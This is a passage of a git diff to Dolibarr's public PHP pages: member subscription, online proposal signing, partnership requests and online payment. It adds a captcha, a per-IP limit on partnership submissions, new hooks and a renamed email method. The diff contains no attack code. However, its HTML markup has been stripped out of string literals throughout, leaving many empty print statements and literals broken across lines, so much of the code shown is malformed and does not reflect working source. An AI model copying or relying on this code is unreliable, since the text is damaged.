$texttosend) { + $moreinheader = 'X-Dolibarr-Info: send_an_email by public/members/new.php'."\r\n"; + + $result = $object->sendEmail($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); + } + /*if ($result < 0) { + $error++; + setEventMessages($object->error, $object->errors, 'errors'); + }*/ } - if (!empty($labeltouse) && is_object($arraydefaultmessage) && $arraydefaultmessage->id > 0) { - $subject = $arraydefaultmessage->topic; - $msg = $arraydefaultmessage->content; - } - - $substitutionarray = getCommonSubstitutionArray($outputlangs, 0, null, $object); - complete_substitutions_array($substitutionarray, $outputlangs, $object); - $subjecttosend = make_substitutions($subject, $substitutionarray, $outputlangs); - $texttosend = make_substitutions(dol_concatdesc($msg, $adht->getMailOnValid()), $substitutionarray, $outputlangs); - - if ($subjecttosend && $texttosend) { - $moreinheader = 'X-Dolibarr-Info: send_an_email by public/members/new.php'."\r\n"; - - $result = $object->send_an_email($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); - } - /*if ($result < 0) { - $error++; - setEventMessages($object->error, $object->errors, 'errors'); - }*/ - } - - // Send email to the foundation to say a new member subscribed with autosubscribe form - if (!empty($conf->global->MAIN_INFO_SOCIETE_MAIL) && !empty($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT) && - !empty($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL)) { - // Define link to login card - $appli = constant('DOL_APPLICATION_TITLE'); - if (!empty($conf->global->MAIN_APPLICATION_TITLE)) { - $appli = $conf->global->MAIN_APPLICATION_TITLE; - if (preg_match('/\d\.\d/', $appli)) { - if (!preg_match('/'.preg_quote(DOL_VERSION).'/', $appli)) { - $appli .= " (".DOL_VERSION.")"; // If new title contains a version that is different than core + // Send email to the foundation to say a new member subscribed with autosubscribe form + if (!empty($conf->global->MAIN_INFO_SOCIETE_MAIL) && !empty($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT) && + !empty($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL)) { + // Define link to login card + $appli = constant('DOL_APPLICATION_TITLE'); + if (!empty($conf->global->MAIN_APPLICATION_TITLE)) { + $appli = $conf->global->MAIN_APPLICATION_TITLE; + if (preg_match('/\d\.\d/', $appli)) { + if (!preg_match('/'.preg_quote(DOL_VERSION).'/', $appli)) { + $appli .= " (".DOL_VERSION.")"; // If new title contains a version that is different than core + } + } else { + $appli .= " ".DOL_VERSION; } } else { $appli .= " ".DOL_VERSION; } + + $to = $adh->makeSubstitution($conf->global->MAIN_INFO_SOCIETE_MAIL); + $from = getDolGlobalString('ADHERENT_MAIL_FROM'); + $mailfile = new CMailFile( + '['.$appli.'] '.$conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT, + $to, + $from, + $adh->makeSubstitution($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL), + array(), + array(), + array(), + "", + "", + 0, + -1 + ); + + if (!$mailfile->sendfile()) { + dol_syslog($langs->trans("ErrorFailedToSendMail", $from, $to), LOG_ERR); + } + } + + // Auto-create thirdparty on member creation + if (!empty($conf->global->ADHERENT_DEFAULT_CREATE_THIRDPARTY)) { + $company = new Societe($db); + $result = $company->create_from_member($adh); + if ($result < 0) { + $error++; + $errmsg .= join('
      ', $company->errors); + } + } + + if (!empty($backtopage)) { + $urlback = $backtopage; + } elseif (!empty($conf->global->MEMBER_URL_REDIRECT_SUBSCRIPTION)) { + $urlback = $conf->global->MEMBER_URL_REDIRECT_SUBSCRIPTION; + // TODO Make replacement of __AMOUNT__, etc... } else { - $appli .= " ".DOL_VERSION; + $urlback = $_SERVER["PHP_SELF"]."?action=added&token=".newToken(); } - $to = $adh->makeSubstitution($conf->global->MAIN_INFO_SOCIETE_MAIL); - $from = $conf->global->ADHERENT_MAIL_FROM; - $mailfile = new CMailFile( - '['.$appli.'] '.$conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT, - $to, - $from, - $adh->makeSubstitution($conf->global->ADHERENT_AUTOREGISTER_NOTIF_MAIL), - array(), - array(), - array(), - "", - "", - 0, - -1 - ); + if (!empty($conf->global->MEMBER_NEWFORM_PAYONLINE) && $conf->global->MEMBER_NEWFORM_PAYONLINE != '-1') { + if (empty($adht->caneditamount)) { // If edition of amount not allowed + // TODO Check amount is same than the amount required for the type of member or if not defined as the defeault amount into $conf->global->MEMBER_NEWFORM_AMOUNT + // It is not so important because a test is done on return of payment validation. + } - if (!$mailfile->sendfile()) { - dol_syslog($langs->trans("ErrorFailedToSendMail", $from, $to), LOG_ERR); - } - } + $urlback = getOnlinePaymentUrl(0, 'member', $adh->ref, price2num(GETPOST('amount', 'alpha'), 'MT'), '', 0); - // Auto-create thirdparty on member creation - if (!empty($conf->global->ADHERENT_DEFAULT_CREATE_THIRDPARTY)) { - $company = new Societe($db); - $result = $company->create_from_member($adh); - if ($result < 0) { - $error++; - $errmsg .= join('
      ', $company->errors); - } - } - - if (!empty($backtopage)) { - $urlback = $backtopage; - } elseif (!empty($conf->global->MEMBER_URL_REDIRECT_SUBSCRIPTION)) { - $urlback = $conf->global->MEMBER_URL_REDIRECT_SUBSCRIPTION; - // TODO Make replacement of __AMOUNT__, etc... - } else { - $urlback = $_SERVER["PHP_SELF"]."?action=added&token=".newToken(); - } - - if (!empty($conf->global->MEMBER_NEWFORM_PAYONLINE) && $conf->global->MEMBER_NEWFORM_PAYONLINE != '-1') { - if (empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT)) { // If edition of amount not allowed - // TODO Check amount is same than the amount required for the type of member or if not defined as the defeault amount into $conf->global->MEMBER_NEWFORM_AMOUNT - // It is not so important because a test is done on return of payment validation. - } - - $urlback = getOnlinePaymentUrl(0, 'member', $adh->ref, price2num(GETPOST('amount', 'alpha'), 'MT'), '', 0); - - if (GETPOST('email')) { - $urlback .= '&email='.urlencode(GETPOST('email')); - } - if ($conf->global->MEMBER_NEWFORM_PAYONLINE != '-1' && $conf->global->MEMBER_NEWFORM_PAYONLINE != 'all') { - $urlback .= '&paymentmethod='.urlencode($conf->global->MEMBER_NEWFORM_PAYONLINE); + if (GETPOST('email')) { + $urlback .= '&email='.urlencode(GETPOST('email')); + } + if ($conf->global->MEMBER_NEWFORM_PAYONLINE != '-1' && $conf->global->MEMBER_NEWFORM_PAYONLINE != 'all') { + $urlback .= '&paymentmethod='.urlencode($conf->global->MEMBER_NEWFORM_PAYONLINE); + } + } else { + if (!empty($entity)) { + $urlback .= '&entity='.((int) $entity); + } } } else { - if (!empty($entity)) { - $urlback .= '&entity='.((int) $entity); - } + $error++; + $errmsg .= join('
      ', $adh->errors); } - - dol_syslog("member ".$adh->ref." was created, we redirect to ".$urlback); - } else { - $error++; - $errmsg .= join('
      ', $adh->errors); } } @@ -433,11 +478,12 @@ if (empty($reshook) && $action == 'add') { exit; } else { $db->rollback(); + $action = "create"; } } // Action called after a submitted was send and member created successfully -// If MEMBER_URL_REDIRECT_SUBSCRIPTION is set to url we never go here because a redirect was done to this url. +// If MEMBER_URL_REDIRECT_SUBSCRIPTION is set to an url, we never go here because a redirect was done to this url. Same if we ask to redirect to the payment page. // backtopage parameter with an url was set on member submit page, we never go here because a redirect was done to this url. if (empty($reshook) && $action == 'added') { @@ -467,14 +513,14 @@ $extrafields->fetch_name_optionals_label($object->table_element); // fetch optio llxHeaderVierge($langs->trans("NewSubscription")); - -print load_fiche_titre($langs->trans("NewSubscription"), '', '', 0, 0, 'center'); +print '
      '; +print load_fiche_titre(img_picto('', 'member_nocolor', 'class="pictofixedwidth"').'   '.$langs->trans("NewSubscription"), '', '', 0, 0, 'center'); print '
      '; print '
      '; -print '
      '; +print '
      '; if (!empty($conf->global->MEMBER_NEWFORM_TEXT)) { print $langs->trans($conf->global->MEMBER_NEWFORM_TEXT)."
      \n"; } else { @@ -483,6 +529,7 @@ if (!empty($conf->global->MEMBER_NEWFORM_TEXT)) { print '
      '; dol_htmloutput_errors($errmsg); +dol_htmloutput_events(); // Print form print '
      '."\n"; @@ -492,7 +539,9 @@ print ''; if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEWFORM_FORCETYPE) || $action == 'create') { print ''; print '
      '; - print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; + + $messagemandatory = ''.$langs->trans("FieldsWithAreMandatory", '*').''; + //print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; //print $langs->trans("FieldsWithIsForPublic",'**').'
      '; print dol_get_fiche_head(''); @@ -509,7 +558,7 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW if (jQuery("#morphy").val() == \'mor\') { jQuery("#trcompany").show(); } - }; + } initmorphy(); jQuery("#morphy").change(function() { initmorphy(); @@ -539,7 +588,7 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW $defaulttype = $tmp[0]; $isempty = 0; } - print ''.$langs->trans("Type").' *'; + print ''.$langs->trans("Type").' *'; print $form->selectarray("typeid", $adht->liste_array(1), GETPOST('typeid') ? GETPOST('typeid') : $defaulttype, $isempty); print ''."\n"; } else { @@ -551,11 +600,11 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW $morphys["phy"] = $langs->trans("Physical"); $morphys["mor"] = $langs->trans("Moral"); if (empty($conf->global->MEMBER_NEWFORM_FORCEMORPHY)) { - print ''.$langs->trans('MemberNature').' *'."\n"; + print ''.$langs->trans('MemberNature').' *'."\n"; print $form->selectarray("morphy", $morphys, GETPOST('morphy'), 1); print ''."\n"; } else { - print $morphys[$conf->global->MEMBER_NEWFORM_FORCEMORPHY]; + //print $morphys[$conf->global->MEMBER_NEWFORM_FORCEMORPHY]; print ''; } @@ -569,21 +618,21 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print $formcompany->select_civility(GETPOST('civility_id'), 'civility_id').''."\n"; // Lastname - print ''.$langs->trans("Lastname").' *'."\n"; + print ''.$langs->trans("Lastname").' *'."\n"; // Firstname - print ''.$langs->trans("Firstname").' *'."\n"; + print ''.$langs->trans("Firstname").' *'."\n"; // EMail - print ''.$langs->trans("Email").(getDolGlobalString("ADHERENT_MAIL_REQUIRED") ? ' *' : '').''; + print ''.$langs->trans("Email").(getDolGlobalString("ADHERENT_MAIL_REQUIRED") ? ' *' : '').''; //print img_picto('', 'email', 'class="pictofixedwidth"'); print ''."\n"; // Login if (empty($conf->global->ADHERENT_LOGIN_NOT_REQUIRED)) { - print ''.$langs->trans("Login").' *'."\n"; - print ''.$langs->trans("Password").' *'."\n"; - print ''.$langs->trans("PasswordRetype").' *'."\n"; + print ''.$langs->trans("Login").' *'."\n"; + print ''.$langs->trans("Password").' *'."\n"; + print ''.$langs->trans("PasswordRetype").' *'."\n"; } // Gender @@ -643,10 +692,12 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print ''.$langs->trans("URLPhoto").''."\n"; // Public - print ''.$langs->trans("Public").''."\n"; + $linkofpubliclist = DOL_MAIN_URL_ROOT.'/public/members/public_list.php'.((isModEnabled('multicompany')) ? '?entity='.$conf->entity : ''); + $publiclabel = $langs->trans("Public", $conf->global->MAIN_INFO_SOCIETE_NOM, $linkofpubliclist); + print ''.$publiclabel.''."\n"; // Other attributes - $tpl_context = 'public'; // define template context to public + $parameters['tpl_context']='public'; // define template context to public include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; // Comments @@ -659,7 +710,7 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW // TODO Move this into generic feature. if (!empty($conf->global->MEMBER_NEWFORM_DOLIBARRTURNOVER)) { $arraybudget = array('50'=>'<= 100 000', '100'=>'<= 200 000', '200'=>'<= 500 000', '300'=>'<= 1 500 000', '600'=>'<= 3 000 000', '1000'=>'<= 5 000 000', '2000'=>'5 000 000+'); - print ''.$langs->trans("TurnoverOrBudget").' *'; + print ''.$langs->trans("TurnoverOrBudget").' *'; print $form->selectarray('budget', $arraybudget, GETPOST('budget'), 1); print ' € or $'; @@ -733,10 +784,10 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW $amount = $conf->global->MEMBER_NEWFORM_AMOUNT; } - if (!empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT) || $caneditamount) { + if ($caneditamount) { print ''; print ' '.$langs->trans("Currency".$conf->currency).' – '; - print $amount>0? $langs->trans("AnyAmountWithAdvisedAmount", $amount, $langs->trans("Currency".$conf->currency)): $langs->trans("AnyAmountWithoutAdvisedAmount"); + print $amount > 0 ? $langs->trans("AnyAmountWithAdvisedAmount", price($amount, 0, $langs, 1, -1, -1, $conf->currency)): $langs->trans("AnyAmountWithoutAdvisedAmount"); print ''; } else { print ''; @@ -746,6 +797,20 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print ''; } + // Display Captcha code if is enabled + if (!empty($conf->global->MAIN_SECURITY_ENABLECAPTCHA)) { + require_once DOL_DOCUMENT_ROOT.'/core/lib/security2.lib.php'; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''; + print ''.img_picto($langs->trans("Refresh"), 'refresh', 'id="captcha_refresh_img"').''; + print ''; + print ''; + } + print "\n"; print dol_get_fiche_end(); @@ -770,14 +835,17 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW foreach ($measuringUnits->records as $lines) $units[$lines->short_label] = $langs->trans(ucfirst($lines->label)); - $publiccounters = $conf->global->MEMBER_COUNTERS_ARE_PUBLIC; + $publiccounters = getDolGlobalString("MEMBER_COUNTERS_ARE_PUBLIC"); + $hidevoteallowed = getDolGlobalString("MEMBER_HIDE_VOTE_ALLOWED"); - $sql = "SELECT d.rowid, d.libelle as label, d.subscription, d.amount, d.caneditamount, d.vote, d.note, d.duration, d.statut as status, d.morphy, COUNT(a.rowid) AS membercount"; + $sql = "SELECT d.rowid, d.libelle as label, d.subscription, d.amount, d.caneditamount, d.vote, d.note, d.duration, d.statut as status, d.morphy,"; + $sql .= " COUNT(a.rowid) AS membercount"; $sql .= " FROM ".MAIN_DB_PREFIX."adherent_type as d"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."adherent as a"; - $sql .= " ON d.rowid = a.fk_adherent_type AND a.statut>0"; + $sql .= " ON d.rowid = a.fk_adherent_type AND a.statut > 0"; $sql .= " WHERE d.entity IN (".getEntity('member_type').")"; - $sql .= " AND d.statut=1 GROUP BY d.rowid"; + $sql .= " AND d.statut=1"; + $sql .= " GROUP BY d.rowid, d.libelle, d.subscription, d.amount, d.caneditamount, d.vote, d.note, d.duration, d.statut, d.morphy"; $result = $db->query($sql); if ($result) { @@ -792,14 +860,14 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print ''.$langs->trans("MembershipDuration").''; print ''.$langs->trans("Amount").''; print ''.$langs->trans("MembersNature").''; - print ''.$langs->trans("VoteAllowed").''; + if (empty($hidevoteallowed)) print ''.$langs->trans("VoteAllowed").''; if ($publiccounters) print ''.$langs->trans("Members").''; print ''.$langs->trans("NewSubscription").''; print "\n"; $i = 0; while ($i < $num) { - $objp = $db->fetch_object($result); + $objp = $db->fetch_object($result); // Load the member type and information on it print ''; print ''.dol_escape_htmltag($objp->label).''; @@ -809,7 +877,7 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print ''; print ''; $displayedamount = max(intval($objp->amount), intval(getDolGlobalInt("MEMBER_MIN_AMOUNT"))); - $caneditamount = !empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT) || $objp->caneditamount; + $caneditamount = $objp->caneditamount; if ($objp->subscription) { if ($displayedamount > 0 || !$caneditamount) { print $displayedamount.' '.strtoupper($conf->currency); @@ -832,7 +900,7 @@ if (!empty($conf->global->MEMBER_SKIP_TABLE) || !empty($conf->global->MEMBER_NEW print $langs->trans("MorAndPhy"); } print ''; - print ''.yn($objp->vote).''; + if (empty($hidevoteallowed)) print ''.yn($objp->vote).''; $membercount = $objp->membercount>0? $objp->membercount: "–"; if ($publiccounters) print ''.$membercount.''; print ''; diff --git a/htdocs/public/onlinesign/newonlinesign.php b/htdocs/public/onlinesign/newonlinesign.php index 10cb5e4354f..d05ad3558c5 100644 --- a/htdocs/public/onlinesign/newonlinesign.php +++ b/htdocs/public/onlinesign/newonlinesign.php @@ -2,6 +2,7 @@ /* Copyright (C) 2001-2002 Rodolphe Quiedeville * Copyright (C) 2006-2017 Laurent Destailleur * Copyright (C) 2009-2012 Regis Houssin + * Copyright (C) 2023 anthony Berton * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -156,6 +157,11 @@ if ($source == 'proposal') { httponly_accessforbidden($langs->trans('ErrorBadParameters')." - Bad value for source", 400, 1); } +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('onlinesign')); + +$error = 0; + /* * Actions @@ -183,6 +189,7 @@ if ($action == 'confirm_refusepropal' && $confirm == 'yes') { // Online customer is not a user, so we use the use that validates the documents $user = new User($db); $user->fetch($object->user_valid_id); + $object->context = array('closedfromonlinesignature' => 'closedfromonlinesignature'); $result = $object->call_trigger('PROPAL_CLOSE_REFUSED', $user); if ($result < 0) { $error++; @@ -341,10 +348,21 @@ if ($source == 'proposal') { print ''."\n"; // Amount - print ''.$langs->trans("Amount"); - print ''; - print ''.price($object->total_ttc, 0, $langs, 1, -1, -1, $conf->currency).''; - print ''."\n"; + $amount = ''.$langs->trans("Amount"); + $amount .= ''; + $amount .= ''.price($object->total_ttc, 0, $langs, 1, -1, -1, $conf->currency).''; + $amount .= ''."\n"; + + // Call Hook amountPropalSign + $parameters = array('source' => $source); + $reshook = $hookmanager->executeHooks('amountPropalSign', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $amount .= $hookmanager->resPrint; + } elseif ($reshook > 0) { + $amount = $hookmanager->resPrint; + } + + print $amount; // Object $text = ''.$langs->trans("SignatureProposalRef", $object->ref).''; @@ -452,6 +470,7 @@ if ($source == 'proposal') { $langs->load("fichinter"); $result = $object->fetch_thirdparty($object->socid); + // Proposer print ''.$langs->trans("Proposer"); print ''; @@ -491,13 +510,14 @@ if ($source == 'proposal') { print $langs->trans("DownloadDocument").''; } } - - print ''; print ''; print ''."\n"; } +// Call Hook addFormSign +$parameters = array('source' => $source); +$reshook = $hookmanager->executeHooks('addFormSign', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (!$found && !$mesg) { $mesg = $langs->transnoentitiesnoconv("ErrorBadParameters"); @@ -527,6 +547,7 @@ print ''; if ($action == "dosign" && empty($cancel)) { print '
      '; print ''; + print ''; print '
      '; print '
      '; // Do not use class="reposition" here: It breaks the submit and there is a message on top to say it's ok, so going back top is better. @@ -537,14 +558,17 @@ if ($action == "dosign" && empty($cancel)) { print ' '."\n"; + } + print "\n"; print "\n"; } @@ -164,6 +170,7 @@ function llxFooterVierge() /* * Actions */ + $parameters = array(); // Note that $action and $object may have been modified by some hooks $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); @@ -223,7 +230,29 @@ if (empty($reshook) && $action == 'add') { $partnership->fk_user_creat = 0; $partnership->fk_type = GETPOST('partnershiptype', 'int'); //$partnership->typeid = $conf->global->PARTNERSHIP_NEWFORM_FORCETYPE ? $conf->global->PARTNERSHIP_NEWFORM_FORCETYPE : GETPOST('typeid', 'int'); + $partnership->ip = getUserRemoteIP(); + $nb_post_max = getDolGlobalInt("MAIN_SECURITY_MAX_POST_ON_PUBLIC_PAGES_BY_IP_ADDRESS", 200); + $now = dol_now(); + $minmonthpost = dol_time_plus_duree($now, -1, "m"); + // Calculate nb of post for IP + $nb_post_ip = 0; + if ($nb_post_max > 0) { // Calculate only if there is a limit to check + $sql = "SELECT COUNT(ref) as nb_partnerships"; + $sql .= " FROM ".MAIN_DB_PREFIX."partnership"; + $sql .= " WHERE ip = '".$db->escape($partnership->ip)."'"; + $sql .= " AND date_creation > '".$db->idate($minmonthpost)."'"; + $resql = $db->query($sql); + if ($resql) { + $num = $db->num_rows($resql); + $i = 0; + while ($i < $num) { + $i++; + $obj = $db->fetch_object($resql); + $nb_post_ip = $obj->nb_partnerships; + } + } + } // test if societe already exist $company = new Societe($db); $result = $company->fetch(0, GETPOST('societe')); @@ -241,6 +270,7 @@ if (empty($reshook) && $action == 'add') { $company->zip = GETPOST('zipcode'); $company->town = GETPOST('town'); $company->email = GETPOST('email'); + $company->url = GETPOST('url'); $company->country_id = GETPOST('country_id', 'int'); $company->state_id = GETPOST('state_id', 'int'); $company->name_alias = dolGetFirstLastname(GETPOST('firstname'), GETPOST('lastname')); @@ -274,12 +304,16 @@ if (empty($reshook) && $action == 'add') { if (empty($company->email)) { $company->email = GETPOST('email'); } + if (empty($company->url)) { + $company->url = GETPOST('url'); + } if (empty($company->state_id)) { $company->state_id = GETPOST('state_id', 'int'); } if (empty($company->name_alias)) { $company->name_alias = dolGetFirstLastname(GETPOST('firstname'), GETPOST('lastname')); } + $company->update(0); } @@ -290,6 +324,11 @@ if (empty($reshook) && $action == 'add') { $error++; } + if ($nb_post_max > 0 && $nb_post_ip >= $nb_post_max) { + $error++; + $errmsg = $langs->trans("AlreadyTooMuchPostOnThisIPAdress"); + array_push($partnership->errors, $langs->trans("AlreadyTooMuchPostOnThisIPAdress")); + } if (!$error) { $result = $partnership->create($user); if ($result > 0) { @@ -334,7 +373,7 @@ if (empty($reshook) && $action == 'add') { if ($subjecttosend && $texttosend) { $moreinheader = 'X-Dolibarr-Info: send_an_email by public/members/new.php'."\r\n"; - $result = $object->send_an_email($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); + $result = $object->sendEmail($texttosend, $subjecttosend, array(), array(), array(), "", "", 0, -1, '', $moreinheader); } } @@ -464,6 +503,8 @@ if (empty($reshook) && $action == 'add') { $error++; $errmsg .= join('
      ', $partnership->errors); } + } else { + setEventMessage($errmsg, 'errors'); } } @@ -502,23 +543,23 @@ if (empty($reshook) && $action == 'added') { $form = new Form($db); $formcompany = new FormCompany($db); -$extrafields->fetch_name_optionals_label($partnership->table_element); // fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); // fetch optionals attributes and labels llxHeaderVierge($langs->trans("NewPartnershipRequest")); - -print load_fiche_titre($langs->trans("NewPartnershipRequest"), '', '', 0, 0, 'center'); +print '
      '; +print load_fiche_titre(img_picto('', 'hands-helping', 'class="pictofixedwidth"').'   '.$langs->trans("NewPartnershipRequest"), '', '', 0, 0, 'center'); print '
      '; print '
      '; -print '
      '; +print '
      '; if (!empty($conf->global->PARTNERSHIP_NEWFORM_TEXT)) { print $langs->trans($conf->global->PARTNERSHIP_NEWFORM_TEXT)."
      \n"; } else { - print $langs->trans("NewPartnershipRequestDesc", $conf->global->MAIN_INFO_SOCIETE_MAIL)."
      \n"; + print $langs->trans("NewPartnershipRequestDesc", getDolGlobalString("MAIN_INFO_SOCIETE_MAIL"))."
      \n"; } print '
      '; @@ -532,7 +573,8 @@ print ''; print '
      '; -print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; +$messagemandatory = ''.$langs->trans("FieldsWithAreMandatory", '*').''; +//print '
      '.$langs->trans("FieldsWithAreMandatory", '*').'
      '; //print $langs->trans("FieldsWithIsForPublic",'**').'
      '; print dol_get_fiche_head(''); @@ -549,56 +591,51 @@ jQuery(document).ready(function () { '; -print ''."\n"; - // Type -/* -if (empty($conf->global->PARTNERSHIP_NEWFORM_FORCETYPE)) { - $listoftype = $partnershipt->liste_array(); - $tmp = array_keys($listoftype); - $defaulttype = ''; - $isempty = 1; - if (count($listoftype) == 1) { - $defaulttype = $tmp[0]; - $isempty = 0; - } - print ''."\n"; -} else { - $partnershipt->fetch($conf->global->PARTNERSHIP_NEWFORM_FORCETYPE); - print ''; -} -*/ - $partnershiptype = new PartnershipType($db); -$listofpartnershipobj = $partnershiptype->fetchAll('', '', 1000); +$listofpartnershipobj = $partnershiptype->fetchAll('', '', 1000, 0, array('active'=>1)); $listofpartnership = array(); foreach ($listofpartnershipobj as $partnershipobj) { $listofpartnership[$partnershipobj->id] = $partnershipobj->label; } -if (empty($conf->global->PARTNERSHIP_NEWFORM_FORCETYPE)) { - print ''."\n"; -} else { +if (getDolGlobalString('PARTNERSHIP_NEWFORM_FORCETYPE')) { print $listofpartnership[$conf->global->PARTNERSHIP_NEWFORM_FORCETYPE]; print ''; } +print '
      '.$langs->trans("Type").' *'; - print $form->selectarray("typeid", $partnershipt->liste_array(1), GETPOST('typeid') ? GETPOST('typeid') : $defaulttype, $isempty); - print '
      '.$langs->trans('PartnershipType').' *'."\n"; - print $form->selectarray("partnershiptype", $listofpartnership, GETPOSTISSET('partnershiptype') ? GETPOST('partnershiptype', 'int') : 'ifone', 1); - print '
      '."\n"; +if (!getDolGlobalString('PARTNERSHIP_NEWFORM_FORCETYPE')) { + print ''."\n"; +} // Company -print ''."\n"; // Lastname -print ''."\n"; +print ''."\n"; // Firstname -print ''."\n"; +print ''."\n"; // EMail -print ''."\n"; +// Url +print ''."\n"; // Address print ''."\n"; @@ -640,7 +677,8 @@ if (empty($conf->global->SOCIETE_DISABLE_STATE)) { // Logo //print ''."\n"; // Other attributes -$tpl_context = 'public'; // define template context to public +$parameters['tdclass']='titlefieldauto'; +$parameters['tpl_context']='public'; // define template context to public include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; // Comments print ''; diff --git a/htdocs/public/payment/newpayment.php b/htdocs/public/payment/newpayment.php index 79104817e77..f6b5b03aac2 100644 --- a/htdocs/public/payment/newpayment.php +++ b/htdocs/public/payment/newpayment.php @@ -66,8 +66,8 @@ require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; require_once DOL_DOCUMENT_ROOT.'/societe/class/societeaccount.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; + // Hook to be used by external payment modules (ie Payzen, ...) -include_once DOL_DOCUMENT_ROOT.'/core/class/hookmanager.class.php'; $hookmanager = new HookManager($db); $hookmanager->initHooks(array('newpayment')); @@ -281,15 +281,9 @@ if ((empty($paymentmethod) || $paymentmethod == 'stripe') && isModEnabled('strip } // Initialize $validpaymentmethod +// The list can be complete by the hook 'doValidatePayment' executed inside getValidOnlinePaymentMethods() $validpaymentmethod = getValidOnlinePaymentMethods($paymentmethod); -// This hook is used to push to $validpaymentmethod by external payment modules (ie Payzen, ...) -$parameters = [ - 'paymentmethod' => $paymentmethod, - 'validpaymentmethod' => &$validpaymentmethod -]; -$reshook = $hookmanager->executeHooks('doValidatePayment', $parameters, $object, $action); - // Check security token $tmpsource = $source; if ($tmpsource == 'membersubscription') { @@ -818,6 +812,19 @@ if ($action == 'charge' && isModEnabled('stripe')) { } } +// This hook is used to push to $validpaymentmethod by external payment modules (ie Payzen, ...) +$parameters = array( + 'paymentmethod' => $paymentmethod, + 'validpaymentmethod' => &$validpaymentmethod +); +$reshook = $hookmanager->executeHooks('doPayment', $parameters, $object, $action); +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} elseif ($reshook > 0) { + print $hookmanager->resPrint; +} + + /* * View @@ -1039,6 +1046,7 @@ if ($source == 'order') { $amount = price2num($amount); } + $tag = ''; if (GETPOST('fulltag', 'alpha')) { $fulltag = GETPOST('fulltag', 'alpha'); } else { @@ -1627,7 +1635,7 @@ if ($source == 'member' || $source == 'membersubscription') { $amount = max(0, $conf->global->MEMBER_MIN_AMOUNT, $amount); } print ''.price($amount, 1, $langs, 1, -1, -1, $currency).''; // Price with currency - $caneditamount = !empty($conf->global->MEMBER_NEWFORM_EDITAMOUNT) || $adht->caneditamount; + $caneditamount = $adht->caneditamount; $minimumamount = empty($conf->global->MEMBER_MIN_AMOUNT)? $adht->amount : max($conf->global->MEMBER_MIN_AMOUNT, $adht->amount > $amount); if (!$caneditamount && $minimumamount > $amount) { print ' '. $langs->trans("AmountIsLowerToMinimumNotice", price($adht->amount, 1, $langs, 1, -1, -1, $currency)); @@ -1745,13 +1753,13 @@ if ($source == 'donation') { // Amount print '
      '.$langs->trans('PartnershipType').' *'."\n"; + print $form->selectarray("partnershiptype", $listofpartnership, GETPOSTISSET('partnershiptype') ? GETPOST('partnershiptype', 'int') : 'ifone', 1); + print '
      '.$langs->trans("Company").' *'; +print '
      '.$langs->trans("Company").' *'; print img_picto('', 'company', 'class="pictofixedwidth"'); print '
      '.$langs->trans("Lastname").' *
      '.$langs->trans("Lastname").' *
      '.$langs->trans("Firstname").' *
      '.$langs->trans("Firstname").' *
      '.$langs->trans("Email").' *'; +print '
      '.$langs->trans("Email").' *'; //print img_picto('', 'email', 'class="pictofixedwidth"'); print '
      '.$langs->trans("Url").' *'; +print ''; +if (getDolGlobalString('PARTNERSHIP_BACKLINKS_TO_CHECK')) { + $listofkeytocheck = explode('|', getDolGlobalString('PARTNERSHIP_BACKLINKS_TO_CHECK')); + $i = 0; + $s = ''; + foreach ($listofkeytocheck as $val) { + $i++; + $s .= ($s ? ($i == count($listofkeytocheck) ? ' '.$langs->trans("or").' ' : ', ') : '').$val; + } + print '
      '.$langs->trans("ThisUrlMustContainsAtLeastOneLinkToWebsite", $s).''; +} +print '
      '.$langs->trans("Address").''."\n"; print '
      '.$langs->trans("URLPhoto").'
